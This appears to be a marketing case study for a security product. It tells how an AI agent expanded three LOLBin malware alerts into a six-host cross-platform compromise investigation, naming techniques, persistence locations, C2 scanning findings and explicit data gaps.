Three LOLBins. Three hosts.
Six confirmed compromised.
A 12-hour intake returned three malicious file detections, each using a different Living-off-the-Land technique to download a payload from a different external C2 IP. The agent’s deep scan expanded to six compromised endpoints across Windows and Linux, and confirmed all three hosts were actively conducting outbound port-scanning at the time of investigation. The firewall blocked most of it. Not all of it.
bitsadmin on WS-754, certutil on DESKTOP-1043 (FATAL · T1003 credential dumping), encoded PowerShell on EC2AMAZ-GS16M39 (recurring × 4 since 3/24).Three alerts became a six-host cross-platform campaign because the agent searched beyond the initial intake. The mesh-level sweep finds the rest.
Firewall-blocked inbound C2 scanning looks like containment. The same query running outbound flips the narrative: the compromised hosts are now the scanners.
Three LOLBins, three techniques. The diversity argues for an adaptive operator, not commodity malware. The agent surfaces this as a finding.
The same threat, spelled three different ways.
The three initial alerts shared a structure (LOLBin → external download → payload execution) but no two used the same technique. That diversity argues against opportunistic ransomware and toward an adversary adapting per target.
The DESKTOP-1043 alert was FATAL severity because it carried the T1003 credential-dumping MITRE tag, a chain that, if successful, exposes domain-level credentials. The EC2AMAZ-GS16M39 alert was the recurring one: same detection on 3/24 (×2), 3/25, and 3/26. Persistence is established (registry AppInit_DLLs / Poweliks technique).
Three known. Three more surfaced.
Phase 2 broadened from the three known-bad hosts to the rest of the mesh, searching by C2 IP, by hash, by LOLBin command-line pattern. Three more compromised hosts surfaced that the initial alerts hadn’t named:
- WS-428 (10.100.11.43, Windows), additional Variant.zip detection
- ubuntu-webdev-757 (172.16.224.201, Linux), Variant.zip in
/etc/ld.so.preloadon 3/26, cross-platform campaign - LAP-612 (172.16.35.163, Windows), AppInit_DLLs persistence variant
The Linux finding mattered. /etc/ld.so.preload persistence on an Ubuntu web dev server,
using the same hash family as the Windows hosts, is the signature of an adversary running multi-platform
tradecraft, not a Windows-only commodity infection. Six hosts. Five subnets. Two operating systems.
One campaign.
Three IPs. 30+ ports. Two-way scanning.
The C2 IPs (203.0.113.42, 192.0.2.45, 192.0.2.1) weren’t just
serving payloads. They were simultaneously scanning the internal network: 122 firewall drop/reject
events across three days, targeting an obvious port list:
That’s a databases + containers + remote-access target list. The C2 IPs are not casually probing; they’re enumerating crown-jewel ports. And the agent’s follow-up query confirmed the most important finding:
All three compromised hosts are actively conducting outbound port-scanning of
their own. 150+ outbound flows over three days, against hundreds of external IPs, across the
same port list. Most blocked by the firewall (policy-deny). Some not. Flows show
tcp-fin and tcp-rst-from-server, meaning packets reached the external
servers. The hosts are actively participating in scanning / botnet operations.
LOLBin diversity is an adversary tell.
bitsadmin, certutil, encoded PowerShell. Three techniques, three hosts, one campaign. Diversity per target argues against automation and toward an adaptive operator. The agent surfaces this as evidence, not commentary.
Inbound C2 scanning is a starting line, not a finish.
The firewall blocks all inbound from the C2 IPs. Good. The compromised hosts are scanning OUTBOUND. That’s the finding. Single-direction analysis misses the bigger story; the agent runs both.
The hash pivot finds the scope.
Three known-bad hosts became six after a hash discovery scan. The Linux finding (/etc/ld.so.preload) made the campaign cross-platform. Single-OS investigations would have closed at three hosts and missed half the campaign.
Persistence patterns deserve their own act.
EC2AMAZ-GS16M39 fired four times in three days against the same hash. That’s not noise. It’s a working persistence mechanism (AppInit_DLLs / Poweliks). The agent treats recurring detections as evidence of unsuccessful cleanup, not as duplicate alerts.
Key queries: intake + broadening + outbound confirmation
Q112h malicious file intakeINTAKE
Q5C2 IP discovery scan: 203.0.113.42 (7d, all event types)31 BLOCKS
Q12Outbound flows from compromised hosts (3d)BOTNET PARTICIPATION
Q16Hash discovery: Variant.zip cross-platform sweep+3 HOSTS
/etc/ld.so.preload), LAP-612. Cross-platform campaign confirmed.Q18EC2AMAZ-GS16M39 recurring detection (7d)PERSISTENCE
Showing 5 of 22 queries. Full audit trail in queries.md.
Sources queried · with status
| Source | Status | Notes |
|---|---|---|
| detection_finding (endpoint) | HIT | 3 malicious file alerts + 6-host hash sweep |
| network_activity (firewall) | HIT | 122 inbound C2 scan blocks + 150+ outbound flows from compromised hosts |
| osint_inventory_info | HIT | Host registration + C2 IP reputation tracking |
| process_activity | EMPTY | 0 records for any of the 3 affected hosts, cannot confirm execution |
| authentication | EMPTY | 0 records for affected users, cannot check lateral movement |
| egress_proxy | GAP | Egress firewall logs not queried, successful outbound to C2 unverified |
Gaps explicitly catalogued
- No process telemetry for any of the 3 known-bad hosts, cannot confirm if LOLBin commands executed successfully or if payloads ran. Recommend deploying EDR.
- No authentication data for affected users, cannot check for lateral movement, privilege escalation, or credential use post-compromise.
- status_id null on all alerts, cannot distinguish triaged from untriaged. All treated as open / active.
- No egress firewall logs queried, partial outbound success (tcp-fin) observed via network_activity but successful payload exfil to C2 not yet confirmed.
- OSINT hash reputation not enriched. VirusTotal / AlienVault not queried. Recommend verifying hashes against external intel before mass blocking.
Run LOLBin triage with cross-platform reach.
Bring a single-host alert. We’ll search for the hosts it didn’t name.